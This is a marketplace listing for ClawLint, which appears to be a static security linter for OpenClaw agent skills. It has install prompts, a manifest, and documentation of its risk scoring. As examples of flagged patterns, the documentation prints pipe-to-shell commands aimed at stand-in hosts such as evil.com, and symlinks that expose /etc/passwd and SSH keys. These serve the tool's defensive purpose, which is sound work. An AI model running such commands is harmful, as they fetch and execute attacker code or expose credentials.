# Send Claw-lint to your agent Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually. ## Fast path - Download the package from Yavira. - Extract it into a folder your agent can access. - Paste one of the prompts below and point your agent at the extracted folder. ## Suggested prompts ### New install ```text I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete. ``` ### Upgrade existing ```text I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run. ``` ## Machine-readable fields ```json { "schemaVersion": "1.0", "item": { "slug": "claw-lint", "name": "Claw-lint", "source": "tencent", "type": "skill", "category": "安全合规", "sourceUrl": "https://clawhub.ai/ParthGhumatkar/claw-lint", "canonicalUrl": "https://clawhub.ai/ParthGhumatkar/claw-lint", "targetPlatform": "OpenClaw" }, "install": { "downloadUrl": "/downloads/claw-lint", "sourceDownloadUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=claw-lint", "sourcePlatform": "tencent", "targetPlatform": "OpenClaw", "packageFormat": "ZIP package", "primaryDoc": "SKILL.md", "includedAssets": [ ".gitignore", "SKILL.md", "bin/claw-lint.sh" ], "downloadMode": "redirect", "sourceHealth": { "source": "tencent", "slug": "claw-lint", "status": "healthy", "reason": "direct_download_ok", "recommendedAction": "download", "checkedAt": "2026-04-29T03:11:54.018Z", "expiresAt": "2026-05-06T03:11:54.018Z", "httpStatus": 200, "finalUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=claw-lint", "contentType": "application/zip", "probeMethod": "head", "details": { "probeUrl": "https://wry-manatee-359.convex.site/api/v1/download?slug=claw-lint", "contentDisposition": "attachment; filename=\"claw-lint-1.0.4.zip\"", "redirectLocation": null, "bodySnippet": null, "slug": "claw-lint" }, "scope": "item", "summary": "Item download looks usable.", "detail": "Yavira can redirect you to the upstream package for this item.", "primaryActionLabel": "Download for OpenClaw", "primaryActionHref": "/downloads/claw-lint" }, "validation": { "installChecklist": [ "Use the Yavira download entry.", "Review SKILL.md after the package is downloaded.", "Confirm the extracted package contains the expected setup assets." ], "postInstallChecks": [ "Confirm the extracted package includes the expected docs or setup files.", "Validate the skill or prompts are available in your target agent workspace.", "Capture any manual follow-up steps the agent could not complete." ] } }, "links": { "detailUrl": "https://openagent3.xyz/skills/claw-lint", "downloadUrl": "https://openagent3.xyz/downloads/claw-lint", "agentUrl": "https://openagent3.xyz/skills/claw-lint/agent", "manifestUrl": "https://openagent3.xyz/skills/claw-lint/agent.json", "briefUrl": "https://openagent3.xyz/skills/claw-lint/agent.md" } } ``` ## Documentation ### ClawLint Security linter for OpenClaw skills Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories. With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run. ### Summary ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines. ### What It Does Risk scoring — assigns a numeric risk score (0-100) based on detected patterns Audit flags — identifies suspicious behaviors (remote execution, secret access, etc.) Inventory mode — optional SHA256 hashing of all files for change detection JSON output — machine-readable results (requires Python 3) No execution — static analysis only, safe to run on untrusted skills ### Scan all skills (summary view) {baseDir}/bin/claw-lint.sh ### Scan one specific skill {baseDir}/bin/claw-lint.sh --skill Example: {baseDir}/bin/claw-lint.sh --skill hashnode-publisher ### Full inventory with SHA256 hashes {baseDir}/bin/claw-lint.sh --full --skill ### JSON output (requires Python 3) {baseDir}/bin/claw-lint.sh --format json ### Options FlagDescription--skill Scan only the specified skill--fullInclude SHA256 inventory of all files--format jsonOutput as JSON (needs python3)--min-score Show only skills with risk score ≥ N--strictPrioritize high-severity patterns--max-bytes Skip files larger than N bytes (default: 2MB) ### Risk Score 0-30: Low risk (common patterns, minimal concerns) 31-60: Medium risk (network access, file operations) 61-100: High risk (remote execution, credential access, system tampering) ### Common Flags pipes_remote_to_shell — downloads and executes remote code downloads_remote_content — fetches external files has_executables — contains binary files uses_ssh_or_scp — SSH/SCP operations contains_symlinks — symbolic links present ### Example Output SCORE SKILL FILES SIZE FLAGS ----- ----- ----- ---- ----- 57 hashnode-publisher 2 1.1KB downloads_remote_content,pipes_remote_to_shell 45 ec2-health-monitor 2 1.9KB pipes_remote_to_shell ### Risk Scoring Details ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection: Score RangeClassificationDescription0-20Low RiskStandard file operations, no suspicious patterns21-50Medium RiskNetwork calls or external dependencies detected51-80High RiskMultiple suspicious patterns or obfuscation detected81-100CriticalRemote execution, secret access, or privilege escalation ### Scoring Factors +25 points: Remote execution patterns (curl | bash, wget -O-, nc) +30 points: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) +20 points: Privilege escalation (sudo, setuid, chmod +s) +15 points: Code obfuscation (base64 decode, eval, exec in suspicious contexts) +10 points: External network calls (curl, wget, http requests) +10 points: File system operations outside skill directory +5 points: Use of /tmp or world-writable directories ### pipes_remote_to_shell Downloads and executes external code without verification. Examples: curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh Risk: Critical. Remote code execution vector for malware. ### downloads_remote_content Fetches external files or data from the internet. Examples: curl -O https://example.com/file.tar.gz wget https://cdn.example.com/data.json Risk: Medium-High. Potential supply chain attack or data exfiltration. ### has_executables Contains compiled binary files (not shell scripts). Examples: ELF binaries Compiled programs Risk: Medium. Harder to audit, may contain hidden functionality. ### uses_ssh_or_scp Performs SSH/SCP operations. Examples: ssh user@remote.host "command" scp file.txt user@remote:/path/ Risk: Medium. Potential for unauthorized remote access or data transfer. ### contains_symlinks Includes symbolic links that may point outside skill directory. Examples: ln -s /etc/passwd exposed_file ln -s ~/.ssh/id_rsa key_link Risk: Low-Medium. May expose sensitive files or create confusion. ### Requirements Bash 4.0+ Standard Unix tools: find, grep, awk, sha256sum, stat Python 3 (optional, for JSON output only) Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments. ### Why Use This? Audit skills before installation Detect backdoors or malicious patterns in community skills Track changes to installed skills with SHA256 inventory Enforce security policies in automated pipelines ### Terminal Output (Default) Human-readable table format with color-coded risk scores (when terminal supports colors). ### JSON Output (--format json) Machine-readable structure for integration with CI/CD pipelines: { "scan_date": "2026-02-13T14:50:00Z", "skills_scanned": 12, "high_risk_count": 2, "results": [ { "skill_name": "hashnode-publisher", "risk_score": 57, "file_count": 2, "total_size": "1.1KB", "flags": ["downloads_remote_content", "pipes_remote_to_shell"], "files": [ { "path": "bin/publish.sh", "sha256": "a1b2c3d4...", "size": 896 } ] } ] } ### Regular Audits Run ClawLint after installing or updating skills: {baseDir}/bin/claw-lint.sh --min-score 50 ### Baseline Inventory Create a security baseline for production environments: {baseDir}/bin/claw-lint.sh --full --format json > baseline.json Re-run periodically and diff against baseline to detect tampering. ### CI/CD Integration Add to your deployment pipeline: # Fail build if any skill scores above 60 {baseDir}/bin/claw-lint.sh --format json | python3 -c " import json, sys data = json.load(sys.stdin) high_risk = [s for s in data['results'] if s['risk_score'] > 60] if high_risk: print(f'❌ {len(high_risk)} high-risk skills detected') sys.exit(1) " ### Whitelist Trusted Skills For known-safe skills with legitimate flags, document exceptions: # Example: hashnode-publisher needs network access {baseDir}/bin/claw-lint.sh --skill hashnode-publisher # Expected score: 45-60 (downloads_remote_content is legitimate) ### Limitations Static analysis only — cannot detect runtime behavior or dynamically generated code Pattern-based — may have false positives for legitimate use cases No sandbox — does not execute or test skills Local files only — scans installed skills, not ClawHub packages before install For comprehensive security, combine ClawLint with: Manual code review for critical skills VirusTotal scanning for executables Runtime monitoring and sandboxing Regular security updates ### Contributing Report false positives or suggest new detection patterns at the OpenClaw security repository. ### License MIT License - Free to use, modify, and distribute. ## Trust - Source: tencent - Verification: Indexed source record - Publisher: ParthGhumatkar - Version: 1.0.4 ## Source health - Status: healthy - Item download looks usable. - Yavira can redirect you to the upstream package for this item. - Health scope: item - Reason: direct_download_ok - Checked at: 2026-04-29T03:11:54.018Z - Expires at: 2026-05-06T03:11:54.018Z - Recommended action: Download for OpenClaw ## Links - [Detail page](https://openagent3.xyz/skills/claw-lint) - [Send to Agent page](https://openagent3.xyz/skills/claw-lint/agent) - [JSON manifest](https://openagent3.xyz/skills/claw-lint/agent.json) - [Markdown brief](https://openagent3.xyz/skills/claw-lint/agent.md) - [Download page](https://openagent3.xyz/downloads/claw-lint)